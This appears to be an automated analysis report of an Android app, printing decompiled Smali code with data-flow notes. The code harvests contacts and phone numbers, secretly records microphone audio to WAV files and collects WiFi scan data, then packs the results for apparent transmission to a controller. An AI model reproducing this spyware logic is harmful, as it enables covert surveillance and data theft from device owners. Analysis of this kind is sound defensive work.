  • Data flow analysis:
    • p1: 0
    • p2: 0
    • p3: 0
    • p4: 0
18move-result-object v7
19new-instance v8, Ljava/util/ArrayList;
21invoke-direct {v8}, Ljava/util/ArrayList;-><init>()V
22goto_1c:
23invoke-interface {v7}, Landroid/database/Cursor;->moveToNext()Z
24move-result v0
25if-eqz v0, :cond_b4
26try_start_22:
27const-string v0, "_id"
29invoke-interface {v7, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: _id
30move-result v0
32invoke-interface {v7, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
33move-result-object v3
35const-string v0, "display_name"
37invoke-interface {v7, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: display_name
38move-result v0
40invoke-interface {v7, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
41move-result-object v9
43const-string v0, "has_phone_number"
45invoke-interface {v7, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: has_phone_number
46move-result v0
48invoke-interface {v7, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
50const-string v0, "has_phone_number"
52invoke-interface {v7, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: has_phone_number
53move-result v0
55invoke-interface {v7, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
56move-result-object v0
58invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
59move-result v0
60if-lez v0, :cond_1c
62iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$23;->a:Lsys/arshad/sys/MainActivity$b;
64iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
66invoke-virtual {v0}, Lsys/arshad/sys/MainActivity;->getContentResolver()Landroid/content/ContentResolver;
67move-result-object v0
69sget-object v1, Landroid/provider/ContactsContract$CommonDataKinds$Phone;->CONTENT_URI:Landroid/net/Uri;
70const/4 v2, 0x0
71new-instance v4, Ljava/lang/StringBuilder;
73invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
75const-string v5, "contact_id = "
77invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: contact_id =
78move-result-object v4
80invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
81move-result-object v3
83invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
84move-result-object v3
85const/4 v4, 0x0
86const/4 v5, 0x0
88invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
  • Data flow analysis:
    • p1: 0
    • p3: 0
    • p4: 0
89move-result-object v0
90goto_73:
91invoke-interface {v0}, Landroid/database/Cursor;->moveToNext()Z
92move-result v1
93if-eqz v1, :cond_af
95const-string v1, "data1"
97invoke-interface {v0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: data1
98move-result v1
100invoke-interface {v0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
101move-result-object v1
102new-instance v2, Ljava/util/HashMap;
104invoke-direct {v2}, Ljava/util/HashMap;-><init>()V
106const-string v3, ""
108invoke-virtual {v2, v3, v9}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
110const-string v3, "[(0)sp]"
111new-instance v4, Ljava/lang/StringBuilder;
113invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
115invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
116move-result-object v1
118const-string v4, "[(0)Ln]"
120invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
121move-result-object v1
123invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
124move-result-object v1
126invoke-virtual {v2, v3, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
  • Data flow analysis:
    • p0: [(0)sp]
128invoke-virtual {v6, v2}, Ljava/lang/StringBuffer;->append(Ljava/lang/Object;)Ljava/lang/StringBuffer;
130invoke-virtual {v8, v2}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
131goto/16 :goto_73
132catch_ac: move-exception v0
133goto/16 :goto_1c
134cond_af:
135invoke-interface {v0}, Landroid/database/Cursor;->close()V
136try_end_b2: goto/16 :goto_1c
137cond_b4:
138invoke-virtual {v6}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
139move-result-object v0
141const-string v1, ","
143const-string v2, ""
145invoke-virtual {v0, v1, v2}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0: ,
146move-result-object v0
148const-string v1, "{"
150const-string v2, ""
152invoke-virtual {v0, v1, v2}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0: {
153move-result-object v0
155const-string v1, "}"
157const-string v2, ""
159invoke-virtual {v0, v1, v2}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0: }
160move-result-object v0
162const-string v1, "="
164const-string v2, ""
166invoke-virtual {v0, v1, v2}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0: =
167move-result-object v0
169iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$23;->a:Lsys/arshad/sys/MainActivity$b;
171iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
172new-instance v2, Ljava/lang/StringBuilder;
174invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
176const-string v3, "B10:::"
178invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B10:::
179move-result-object v2
181invoke-virtual {v0}, Ljava/lang/String;->toString()Ljava/lang/String;
182move-result-object v0
184invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
185move-result-object v0
187const-string v2, "[(0)tcp]"
189invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
190move-result-object v0
192iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$23;->a:Lsys/arshad/sys/MainActivity$b;
194iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
196iget-object v2, v2, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
198invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
199move-result-object v0
201invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
202move-result-object v0
204invoke-virtual {v1, v0}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
205return-void
Cross References
APIs
  • android.media.MediaRecorder.release
  • sys.arshad.sys.MainActivity.getSystemService
  • java.util.Random.<init>
  • java.util.Random.nextInt
  • java.lang.StringBuilder.<init>
  • android.os.Environment.getExternalStorageDirectory
  • java.io.File.getAbsolutePath
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.exists
  • java.io.File.mkdirs
  • java.lang.StringBuilder.<init>
  • android.os.Environment.getExternalStorageDirectory
  • java.io.File.getAbsolutePath
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.exists
  • java.io.File.mkdirs
  • java.lang.StringBuilder.<init>
  • android.os.Environment.getExternalStorageDirectory
  • java.io.File.getAbsolutePath
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.media.MediaRecorder.<init>
  • android.media.MediaRecorder.setAudioSource
  • android.media.MediaRecorder.setOutputFormat
  • android.media.MediaRecorder.setAudioEncoder
  • android.media.MediaRecorder.setOutputFile
  • android.media.MediaRecorder.prepare
  • android.media.MediaRecorder.start
  • java.lang.StringBuilder.<init>
  • android.os.Environment.getExternalStorageDirectory
  • java.io.File.getAbsolutePath
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • audio
  • /public
  • /public/M
  • /public/M/
  • T
  • .wav
  • G
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/MainActivity;->V:Landroid/media/MediaRecorder;
2if-eqz v0, :cond_c
4iget-object v0, p0, Lsys/arshad/sys/MainActivity;->V:Landroid/media/MediaRecorder;
6invoke-virtual {v0}, Landroid/media/MediaRecorder;->release()V
7const/4 v0, 0x0
8iput-object v0, p0, Lsys/arshad/sys/MainActivity;->V:Landroid/media/MediaRecorder;
9cond_c:
10const-string v0, "audio"
12invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: audio
13move-result-object v0
14check-cast v0, Landroid/media/AudioManager;
15iput-object v0, p0, Lsys/arshad/sys/MainActivity;->Z:Landroid/media/AudioManager;
16new-instance v0, Ljava/util/Random;
18invoke-direct {v0}, Ljava/util/Random;-><init>()V
19const v1, 0x895440
21invoke-virtual {v0, v1}, Ljava/util/Random;->nextInt(I)I
  • Data flow analysis:
    • p0: 9000000
22move-result v0
23add-int/lit8 v0, v0, 0x1
24new-instance v1, Ljava/io/File;
25new-instance v2, Ljava/lang/StringBuilder;
27invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
29invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
30move-result-object v3
32invoke-virtual {v3}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
33move-result-object v3
35invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
36move-result-object v2
38const-string v3, "/public"
40invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /public
41move-result-object v2
43invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
44move-result-object v2
46invoke-direct {v1, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
48invoke-virtual {v1}, Ljava/io/File;->exists()Z
49move-result v2
50if-nez v2, :cond_4d
52invoke-virtual {v1}, Ljava/io/File;->mkdirs()Z
53cond_4d: new-instance v1, Ljava/io/File;
54new-instance v2, Ljava/lang/StringBuilder;
56invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
58invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
59move-result-object v3
61invoke-virtual {v3}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
62move-result-object v3
64invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
65move-result-object v2
67const-string v3, "/public/M"
69invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /public/M
70move-result-object v2
72invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
73move-result-object v2
75invoke-direct {v1, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
77invoke-virtual {v1}, Ljava/io/File;->exists()Z
78move-result v2
79if-nez v2, :cond_76
81invoke-virtual {v1}, Ljava/io/File;->mkdirs()Z
82cond_76:
83sget-object v1, Lsys/arshad/sys/MainActivity;->e:Ljava/lang/String;
84if-eqz v1, :cond_d7
85new-instance v0, Ljava/lang/StringBuilder;
87invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
89invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
90move-result-object v1
92invoke-virtual {v1}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
93move-result-object v1
95invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
96move-result-object v0
98const-string v1, "/public/M/"
100invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /public/M/
101move-result-object v0
103const-string v1, "T"
105invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: T
106move-result-object v0
108sget-object v1, Lsys/arshad/sys/MainActivity;->e:Ljava/lang/String;
110invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
111move-result-object v0
113const-string v1, ".wav"
115invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: .wav
116move-result-object v0
118invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
119move-result-object v0
120iput-object v0, p0, Lsys/arshad/sys/MainActivity;->Q:Ljava/lang/String;
121const/4 v0, 0x0
122sput-object v0, Lsys/arshad/sys/MainActivity;->e:Ljava/lang/String;
123goto_ac: new-instance v0, Landroid/media/MediaRecorder;
125invoke-direct {v0}, Landroid/media/MediaRecorder;-><init>()V
126iput-object v0, p0, Lsys/arshad/sys/MainActivity;->V:Landroid/media/MediaRecorder;
128iget-object v0, p0, Lsys/arshad/sys/MainActivity;->V:Landroid/media/MediaRecorder;
129const/4 v1, 0x1
131invoke-virtual {v0, v1}, Landroid/media/MediaRecorder;->setAudioSource(I)V
  • Data flow analysis:
    • audio_source: 1
133iget-object v0, p0, Lsys/arshad/sys/MainActivity;->V:Landroid/media/MediaRecorder;
134const/4 v1, 0x1
136invoke-virtual {v0, v1}, Landroid/media/MediaRecorder;->setOutputFormat(I)V
  • Data flow analysis:
    • output_format: 1
138iget-object v0, p0, Lsys/arshad/sys/MainActivity;->V:Landroid/media/MediaRecorder;
139const/4 v1, 0x3
141invoke-virtual {v0, v1}, Landroid/media/MediaRecorder;->setAudioEncoder(I)V
  • Data flow analysis:
    • audio_encoder: 3
143iget-object v0, p0, Lsys/arshad/sys/MainActivity;->V:Landroid/media/MediaRecorder;
145iget-object v1, p0, Lsys/arshad/sys/MainActivity;->Q:Ljava/lang/String;
147invoke-virtual {v0, v1}, Landroid/media/MediaRecorder;->setOutputFile(Ljava/lang/String;)V
149iget-object v0, p0, Lsys/arshad/sys/MainActivity;->V:Landroid/media/MediaRecorder;
151invoke-virtual {v0}, Landroid/media/MediaRecorder;->prepare()V
153iget-object v0, p0, Lsys/arshad/sys/MainActivity;->V:Landroid/media/MediaRecorder;
155invoke-virtual {v0}, Landroid/media/MediaRecorder;->start()V
156goto_d6: return-void
157cond_d7: new-instance v1, Ljava/lang/StringBuilder;
159invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
161invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
162move-result-object v2
164invoke-virtual {v2}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
165move-result-object v2
167invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
168move-result-object v1
170const-string v2, "/public/M/"
172invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /public/M/
173move-result-object v1
175const-string v2, "G"
177invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: G
178move-result-object v1
180invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
181move-result-object v0
183const-string v1, ".wav"
185invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: .wav
186move-result-object v0
188invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
189move-result-object v0
190iput-object v0, p0, Lsys/arshad/sys/MainActivity;->Q:Ljava/lang/String;
191try_end_104: goto/16 :goto_ac
192catch_105: move-exception v0
193goto/16 :goto_d6
APIs
  • android.content.Intent.getAction
  • java.lang.String.equals
  • java.io.PrintStream.println
  • sys.arshad.sys.MainActivity.k
  • java.lang.StringBuilder.<init>
  • android.net.wifi.WifiManager.getScanResults
  • java.util.List.size
  • java.lang.StringBuilder.<init>
  • java.util.List.get
  • java.lang.StringBuilder.append
  • java.util.List.get
  • java.lang.StringBuilder.append
  • java.util.List.get
  • java.lang.StringBuilder.append
  • java.util.List.get
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.PrintStream.println
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
  • java.io.PrintStream.println
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • sys.arshad.sys.MainActivity.j
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.PrintStream.println
Strings
  • android.net.wifi.SCAN_RESULTS
  • 0000
  • [(0)sp]
  • [(0)Ln]
  • nullnullnullnullnull
  • B11:::
  • [(0)tcp]
  • 1111111111111111111
  • >>>>>>>>>
  • --111
Position Instruction Meta Information
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$a$1;->a:Landroid/content/Intent;
3invoke-virtual {v0}, Landroid/content/Intent;->getAction()Ljava/lang/String;
4move-result-object v0
6const-string v1, "android.net.wifi.SCAN_RESULTS"
8invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: android.net.wifi.SCAN_RESULTS
9move-result v0
10if-eqz v0, :cond_162
12sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
14const-string v1, "0000"
16invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 0000
18iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$a$1;->b:Lsys/arshad/sys/MainActivity$b$a;
20iget-object v0, v0, Lsys/arshad/sys/MainActivity$b$a;->a:Lsys/arshad/sys/MainActivity$b;
22iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
24invoke-static {v0}, Lsys/arshad/sys/MainActivity;->k(Lsys/arshad/sys/MainActivity;)Ljava/lang/String;
25move-result-object v2
27iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$a$1;->b:Lsys/arshad/sys/MainActivity$b$a;
29iget-object v0, v0, Lsys/arshad/sys/MainActivity$b$a;->a:Lsys/arshad/sys/MainActivity$b;
30new-instance v1, Ljava/lang/StringBuilder;
32invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
33iput-object v1, v0, Lsys/arshad/sys/MainActivity$b;->d:Ljava/lang/StringBuilder;
35iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$a$1;->b:Lsys/arshad/sys/MainActivity$b$a;
37iget-object v0, v0, Lsys/arshad/sys/MainActivity$b$a;->a:Lsys/arshad/sys/MainActivity$b;
39iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$a$1;->b:Lsys/arshad/sys/MainActivity$b$a;
41iget-object v1, v1, Lsys/arshad/sys/MainActivity$b$a;->a:Lsys/arshad/sys/MainActivity$b;
43iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->a:Landroid/net/wifi/WifiManager;
45invoke-virtual {v1}, Landroid/net/wifi/WifiManager;->getScanResults()Ljava/util/List;
46move-result-object v1
47iput-object v1, v0, Lsys/arshad/sys/MainActivity$b;->c:Ljava/util/List;
48const/4 v0, 0x0
49move v1, v0
50goto_3c:
51iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$a$1;->b:Lsys/arshad/sys/MainActivity$b$a;
53iget-object v0, v0, Lsys/arshad/sys/MainActivity$b$a;->a:Lsys/arshad/sys/MainActivity$b;
55iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->c:Ljava/util/List;
57invoke-interface {v0}, Ljava/util/List;->size()I
58move-result v0
59if-ge v1, v0, :cond_cf
61iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$a$1;->b:Lsys/arshad/sys/MainActivity$b$a;
63iget-object v0, v0, Lsys/arshad/sys/MainActivity$b$a;->a:Lsys/arshad/sys/MainActivity$b;
65iget-object v3, v0, Lsys/arshad/sys/MainActivity$b;->d:Ljava/lang/StringBuilder;
66new-instance v4, Ljava/lang/StringBuilder;
68invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
70iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$a$1;->b:Lsys/arshad/sys/MainActivity$b$a;
72iget-object v0, v0, Lsys/arshad/sys/MainActivity$b$a;->a:Lsys/arshad/sys/MainActivity$b;
74iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->c:Ljava/util/List;
76invoke-interface {v0, v1}, Ljava/util/List;->get(I)Ljava/lang/Object;
77move-result-object v0
78check-cast v0, Landroid/net/wifi/ScanResult;
80iget-object v0, v0, Landroid/net/wifi/ScanResult;->SSID:Ljava/lang/String;
82invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
83move-result-object v0
85const-string v4, "[(0)sp]"
87invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
88move-result-object v4
90iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$a$1;->b:Lsys/arshad/sys/MainActivity$b$a;
92iget-object v0, v0, Lsys/arshad/sys/MainActivity$b$a;->a:Lsys/arshad/sys/MainActivity$b;
94iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->c:Ljava/util/List;
96invoke-interface {v0, v1}, Ljava/util/List;->get(I)Ljava/lang/Object;
97move-result-object v0
98check-cast v0, Landroid/net/wifi/ScanResult;
99iget v0, v0, Landroid/net/wifi/ScanResult;->level:I
101invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
102move-result-object v0
104const-string v4, "[(0)sp]"
106invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
107move-result-object v4
109iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$a$1;->b:Lsys/arshad/sys/MainActivity$b$a;
111iget-object v0, v0, Lsys/arshad/sys/MainActivity$b$a;->a:Lsys/arshad/sys/MainActivity$b;
113iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->c:Ljava/util/List;
115invoke-interface {v0, v1}, Ljava/util/List;->get(I)Ljava/lang/Object;
116move-result-object v0
117check-cast v0, Landroid/net/wifi/ScanResult;
119iget-object v0, v0, Landroid/net/wifi/ScanResult;->capabilities:Ljava/lang/String;
121invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
122move-result-object v0
124const-string v4, "[(0)sp]"
126invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
127move-result-object v4
129iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$a$1;->b:Lsys/arshad/sys/MainActivity$b$a;
131iget-object v0, v0, Lsys/arshad/sys/MainActivity$b$a;->a:Lsys/arshad/sys/MainActivity$b;
133iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->c:Ljava/util/List;
135invoke-interface {v0, v1}, Ljava/util/List;->get(I)Ljava/lang/Object;
136move-result-object v0
137check-cast v0, Landroid/net/wifi/ScanResult;
139iget-object v0, v0, Landroid/net/wifi/ScanResult;->BSSID:Ljava/lang/String;
141invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
142move-result-object v0
144const-string v4, "[(0)sp]"
146invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
147move-result-object v0
149invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
150move-result-object v0
152const-string v4, "[(0)sp]"
154invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
155move-result-object v0
157const-string v4, "[(0)Ln]"
159invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
160move-result-object v0
162invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
163move-result-object v0
165invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
166add-int/lit8 v0, v1, 0x1
167move v1, v0
168goto/16 :goto_3c
169cond_cf:
170iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$a$1;->b:Lsys/arshad/sys/MainActivity$b$a;
172iget-object v0, v0, Lsys/arshad/sys/MainActivity$b$a;->a:Lsys/arshad/sys/MainActivity$b;
174iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
175iget v0, v0, Lsys/arshad/sys/MainActivity;->r:I
176if-nez v0, :cond_161
178iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$a$1;->b:Lsys/arshad/sys/MainActivity$b$a;
180iget-object v0, v0, Lsys/arshad/sys/MainActivity$b$a;->a:Lsys/arshad/sys/MainActivity$b;
182iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$a$1;->b:Lsys/arshad/sys/MainActivity$b$a;
184iget-object v1, v1, Lsys/arshad/sys/MainActivity$b$a;->a:Lsys/arshad/sys/MainActivity$b;
186iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->d:Ljava/lang/StringBuilder;
188invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
189move-result-object v1
190iput-object v1, v0, Lsys/arshad/sys/MainActivity$b;->e:Ljava/lang/String;
192iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$a$1;->b:Lsys/arshad/sys/MainActivity$b$a;
194iget-object v0, v0, Lsys/arshad/sys/MainActivity$b$a;->a:Lsys/arshad/sys/MainActivity$b;
196iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->e:Ljava/lang/String;
197if-nez v0, :cond_f8
199sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
201const-string v1, "nullnullnullnullnull"
203invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: nullnullnullnullnull
204cond_f8:
205iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$a$1;->b:Lsys/arshad/sys/MainActivity$b$a;
207iget-object v0, v0, Lsys/arshad/sys/MainActivity$b$a;->a:Lsys/arshad/sys/MainActivity$b;
209iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
210new-instance v1, Ljava/lang/StringBuilder;
212invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
214const-string v2, "B11:::"
216invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B11:::
217move-result-object v1
219iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$a$1;->b:Lsys/arshad/sys/MainActivity$b$a;
221iget-object v2, v2, Lsys/arshad/sys/MainActivity$b$a;->a:Lsys/arshad/sys/MainActivity$b;
223iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->e:Ljava/lang/String;
225invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
226move-result-object v1
228const-string v2, "[(0)tcp]"
230invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
231move-result-object v1
233iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$a$1;->b:Lsys/arshad/sys/MainActivity$b$a;
235iget-object v2, v2, Lsys/arshad/sys/MainActivity$b$a;->a:Lsys/arshad/sys/MainActivity$b;
237iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
239iget-object v2, v2, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
241invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
242move-result-object v1
